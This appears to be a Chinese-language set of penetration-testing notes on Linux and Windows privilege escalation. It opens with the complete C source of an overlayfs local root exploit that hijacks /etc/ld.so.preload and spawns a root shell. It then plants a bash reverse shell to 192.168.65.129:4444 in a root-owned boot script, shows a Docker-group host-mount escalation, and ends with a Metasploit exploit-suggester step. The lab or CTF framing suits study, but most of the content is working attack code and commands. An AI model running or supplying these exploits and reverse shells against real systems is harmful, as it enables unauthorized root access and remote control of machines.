#include <sys/types.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <linux/sched.h>

#define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n    return _real_getuid();\n}\n"

static char child_stack[1024*1024];

static int
child_exec(void *stuff)
{
    char *file;
    system("rm -rf /tmp/ns_sploit");
    mkdir("/tmp/ns_sploit", 0777);
    mkdir("/tmp/ns_sploit/work", 0777);
    mkdir("/tmp/ns_sploit/upper",0777);
    mkdir("/tmp/ns_sploit/o",0777);

    fprintf(stderr,"mount #1\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
            fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
            exit(-1);
        }
        file = ".access";
        chmod("/tmp/ns_sploit/work/work",0777);
    } else file = "ns_last_pid";

    chdir("/tmp/ns_sploit/o");
    rename(file,"ld.so.preload");

    chdir("/");
    umount("/tmp/ns_sploit/o");
    fprintf(stderr,"mount #2\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
            exit(-1);
        }
        chmod("/tmp/ns_sploit/work/work",0777);
    }

    chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
    umount("/tmp/ns_sploit/o");
}

int
main(int argc, char **argv)
{
    int status, fd, lib;
    pid_t wrapper, init;
    int clone_flags = CLONE_NEWNS | SIGCHLD;

    fprintf(stderr,"spawning threads\n");

    if((wrapper = fork()) == 0) {
        if(unshare(CLONE_NEWUSER) != 0)
            fprintf(stderr, "failed to create new user namespace\n");

        if((init = fork()) == 0) {
            pid_t pid =
                clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
            if(pid < 0) {
                fprintf(stderr, "failed to create new mount namespace\n");
                exit(-1);
            }

            waitpid(pid, &status, 0);

        }

        waitpid(init, &status, 0);
        return 0;
    }

    usleep(300000);

    wait(NULL);

    fprintf(stderr,"child threads done\n");

    fd = open("/etc/ld.so.preload",O_WRONLY);

    if(fd == -1) {
        fprintf(stderr,"exploit failed\n");
        exit(-1);
    }

    fprintf(stderr,"/etc/ld.so.preload created\n");
    fprintf(stderr,"creating shared library\n");
    lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
    write(lib,LIB,strlen(LIB));
    close(lib);
    lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
    if(lib != 0) {
        fprintf(stderr,"couldn't create dynamic library\n");
        exit(-1);
    }
    write(fd,"/tmp/ofs-lib.so\n",16);
    close(fd);
    system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
    execl("/bin/su","su",NULL);
}

SUID提权

💡 在目标机器上搜索过滤出文件属主为`root` 并且其他用户有`写`权限的文件

# 举例
find / -type f -perm -o=w -user root -ls 2>/dev/null
find / -type f -perm -o=w -user root -ls 2>/dev/null | grep -v "/proc"
find / -type f -perm -o=w -user root -ls 2>/dev/null | grep -v "/proc" | grep -v "/sys/fs/cgroup"

https://cdn.nlark.com/yuque/0/2022/png/12680551/1662801550787-535b36eb-bb79-4f03-9dd7-5202eb8c142d.png

💡 通过过滤搜索查找到存在该文件后，可以对文件进行分析研究，如查看文件类型

file /usr/bin/check-system

https://cdn.nlark.com/yuque/0/2022/png/12680551/1662801580185-a2834bc4-e839-409a-a785-87a070a30fea.png

💡 通过分析研究查看文件内容，得知脚本内容就是获取系统时间，可能是某些系统服务在使用该脚本

cat /usr/bin/check-system

https://cdn.nlark.com/yuque/0/2022/png/12680551/1662801648724-0ebb539d-b53d-4257-8f25-b66c327228d7.png

在etc目录查找引用了check-system.service文件的文件

cd /etc
grep -Ri "check-system" . 2>/dev/null

https://cdn.nlark.com/yuque/0/2022/png/12680551/1662801984533-fea16cc6-fd2f-4e8f-ad2c-06e13ffb8f35.png

根据查找出文件的结果分析，check-system.service是在操作系统启动时会用/bin/bash运行/usr/bin/check-system脚本。如果我们在/usr/bin/check-system脚本中加入反弹shell的代码，并执行重启，那么在系统启动后就能获得root用户反弹的shell。

修改/usr/bin/check-system

vi /usr/bin/check-system

DATE=`date '+%Y-%m-%d %H:%M:%S'`
echo "Service started at ${DATE}" | systemd-cat -p info
/bin/bash -i >& /dev/tcp/192.168.65.129/4444 0>&1
while :
do
echo "Checking...";
sleep 1;
done

wq

https://cdn.nlark.com/yuque/0/2022/png/12680551/1662802413093-cafcc476-5df7-4546-a867-2f38a901cd95.png

查询重启权限，具备shutdown权限

sudo -l

https://cdn.nlark.com/yuque/0/2022/png/12680551/1662802524288-8d8e1678-3be3-4243-a5d2-e116e3d03b45.png

Kali本地监听4444端口

nc -lnvp 4444

https://cdn.nlark.com/yuque/0/2022/png/12680551/1662802592064-fdeee3e2-877f-4213-b93e-11455f8a3235.png

执行重启操作

sudo shutdown -r now

稍等片刻root用户shell已收到

https://cdn.nlark.com/yuque/0/2022/png/12680551/1662802702750-3ab59573-5638-49d9-8a4c-aad79112e32b.png

获取flag

https://cdn.nlark.com/yuque/0/2022/png/12680551/1662802745362-f222b71f-868e-485c-a1a2-114d67ed2194.png

💡 这是通过过滤搜索查找到对应SUID文件的权限分配进行垂直提权的某一个例子。供参考

Docker 提权

我们必须是系统的 Docker Group 的一部分。 作为该组的一员，我们可以创建新的 Docker 容器并进行部署。

第 1 步：检查组

和 groups 或者 id 命令检查我们是否是 docker 组的一部分。

第 2 步：运行一个新的 docker 容器

docker run -v /:/mnt -it alpine

# -v 标志指定卷挂载 
# /:/mnt 部分表示将 / 目录 或 根目录 （整个文件系统） 挂载到 Docker 容器机器的/mnt 目录
# -it 部分告诉创建一个交互式终端。 最后一部分告诉 docker 创建一个带有 alpine 镜像的 docker 容器
## lpine 是一个非常轻量级的映像，这意味着它将创建一个快速且小型的 linux 操作系统。

创建并运行一个 docker 容器。id 命令检查是否是root用户

id

uid=0(root) gid=0(root) groups=o(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11( floppy),20(dialout),26(tape),27(video)

Windows提权

当通过msf拿到windows shell的session会话时，可使用此模块对windows进行漏洞探测

use post/multi/recon/local_exploit_suggester